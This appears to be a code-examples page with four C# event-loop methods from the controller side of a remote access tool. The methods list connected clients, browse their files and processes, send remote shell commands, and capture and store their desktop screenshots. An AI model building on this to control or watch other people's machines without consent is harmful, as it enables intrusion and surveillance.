예제 #1
0
        private void ListenUiEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppUiChannel.TakeFromUi();
                Target   target   = appEvent.Target;
                Action   action   = appEvent.Action;
                Subject  subject  = appEvent.Subject;

                AppNetChannel.SubmitToNet(appEvent);
            }
        }
예제 #2
0
        private void ListenNetEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppNetChannel.TakeFromNet();
                Target   target   = appEvent.Target;
                Action   action   = appEvent.Action;
                Subject  subject  = appEvent.Subject;
                object   data     = appEvent.Data;

                if (appEvent.GetType() == typeof(ClientAppEvent))
                {
                    Client client = ((ClientAppEvent)appEvent).Client;

                    if (subject == Subject.Desktop)
                    {
                        if (action == Action.Fetched)
                        {
                            string path = Directory.GetCurrentDirectory() +
                                          Path.DirectorySeparatorChar +
                                          client.PcName;


                            if (!Directory.Exists(path))
                            {
                                Directory.CreateDirectory(path);
                            }

                            File.WriteAllBytes(path + Path.DirectorySeparatorChar + "screenshot.png",
                                               (byte[])data);

                            appEvent.Data = path;
                        }
                    }
                }

                AppUiChannel.SubmitToUi(appEvent);
            }
        }
예제 #3
0
        private void ListenAppEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppNetChannel.TakeFromApp();
                Target   target   = appEvent.Target;
                Action   action   = appEvent.Action;
                Subject  subject  = appEvent.Subject;
                object   data     = appEvent.Data;

                switch (target)
                {
                case Target.Server:
                {
                    switch (subject)
                    {
                    case Subject.Connection:
                    {
                        if (action == Action.ListAvailable)
                        {
                            List <Client> clients = GetClients();
                            appEvent.Data = clients;
                            AppNetChannel.SubmitToApp(appEvent);
                        }

                        break;
                    }

                    case Subject.Interaction:
                    {
                        if (action == Action.Start)
                        {
                            Client client = GetClientById((int)data);
                            AppNetChannel.SubmitToApp(new ClientAppEvent(client)
                                    {
                                        Subject = Subject.Interaction, Action = Action.Start
                                    });
                        }

                        break;
                    }
                    }

                    break;
                }

                case Target.Client:
                {
                    ClientAppEvent clientAppEvent = (ClientAppEvent)appEvent;
                    Client         client         = clientAppEvent.Client;
                    switch (subject)
                    {
                    case Subject.FileSystem:
                    {
                        if (action == Action.Start)
                        {
                            if (data == null)
                            {
                                FetchFileSystemDrives(client);
                            }
                            else
                            {
                                FetchDirEntries(client, (string)data);
                            }
                        }

                        break;
                    }

                    case Subject.Information:
                    {
                        if (action == Action.Start)
                        {
                            FetchSystemInfo(client);
                        }

                        break;
                    }

                    case Subject.Process:
                    {
                        if (action == Action.Start)
                        {
                            FetchProcessList(client);
                        }

                        break;
                    }

                    case Subject.Shell:
                    {
                        if (action == Action.Start)
                        {
                            SendPacket(client, new PacketShell());
                        }
                        else if (action == Action.Push)
                        {
                            SendPacket(client, new PacketShell()
                                    {
                                        Command = (string)data
                                    });
                        }

                        break;
                    }

                    case Subject.Desktop:
                    {
                        if (action == Action.Start)
                        {
                            SendPacket(client, new PacketDesktop
                                    {
                                        DesktopAction = DesktopAction.Start
                                    });
                        }
                        else if (action == Action.Stop)
                        {
                            SendPacket(client, new PacketDesktop
                                    {
                                        DesktopAction = DesktopAction.Stop
                                    });
                        }

                        break;
                    }
                    }

                    break;
                }
                }
            }
        }
예제 #4
0
        private void ListenAppEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppUiChannel.TakeFromApp();

                Target  target  = appEvent.Target;
                Action  action  = appEvent.Action;
                Subject subject = appEvent.Subject;
                object  data    = appEvent.Data;

                switch (target)
                {
                case Target.Server:
                {
                    switch (subject)
                    {
                    case Subject.Connection:
                    {
                        if (action == Action.ListAvailable)
                        {
                            List <Client> clients = (List <Client>)appEvent.Data;
                            MainView.ListSessions(clients);
                        }

                        break;
                    }
                    }

                    break;
                }

                case Target.Client:
                {
                    ClientAppEvent clientApp = (ClientAppEvent)appEvent;
                    Client         client    = clientApp.Client;

                    switch (subject)
                    {
                    case Subject.Connection:
                    {
                        if (action == Action.Started)
                        {
                            ShowClientConnection(client);
                        }

                        break;
                    }

                    case Subject.Process:
                    {
                        if (action == Action.Fetched)
                        {
                            ShowProcessList(client, (List <ProcessInfo>)data);
                        }

                        break;
                    }

                    case Subject.FileSystem:
                    {
                        if (action == Action.Fetched)
                        {
                            PacketFileSystem packet = (PacketFileSystem)data;
                            if (packet.FsFocus == PacketFileSystem.FileSystemFocus.Roots)
                            {
                                ShowFsRoots(client, packet.Drives);
                            }
                            else if (packet.FsFocus == PacketFileSystem.FileSystemFocus.DirectoryEntries)
                            {
                                ShowFsDirEntries(client, packet.BasePath, packet.Files);
                            }
                        }

                        break;
                    }

                    case Subject.Shell:
                    {
                        if (action == Action.Fetched)
                        {
                            Dictionary <string, string> shellData = (Dictionary <String, String>)data;
                            ShellView.PrintOutput(shellData["command"], shellData["output"]);
                        }
                        else if (action == Action.Stop)
                        {
                            if (CurrentView == ShellView)
                            {
                                CurrentView = MainView;
                                CurrentView.PrintBanner();
                            }
                        }

                        break;
                    }

                    case Subject.Desktop:
                    {
                        if (action == Action.Fetched)
                        {
                            string path = (string)data;
                            if (!IsDesktopActive && Client == client)
                            {
                                IsDesktopActive = true;

                                C.WriteLine("[+] Desktop image received, Images will be saved in {0}", path);
                            }
                        }
                        else if (action == Action.Stop)
                        {
                            lock (IsDesktopActiveLock)
                            {
                                if (IsDesktopActive && Client == client)
                                {
                                    C.WriteLine("Desktop session closed");
                                    IsDesktopActive = false;
                                }
                            }
                        }

                        break;
                    }
                    }

                    break;
                }
                }
            }
        }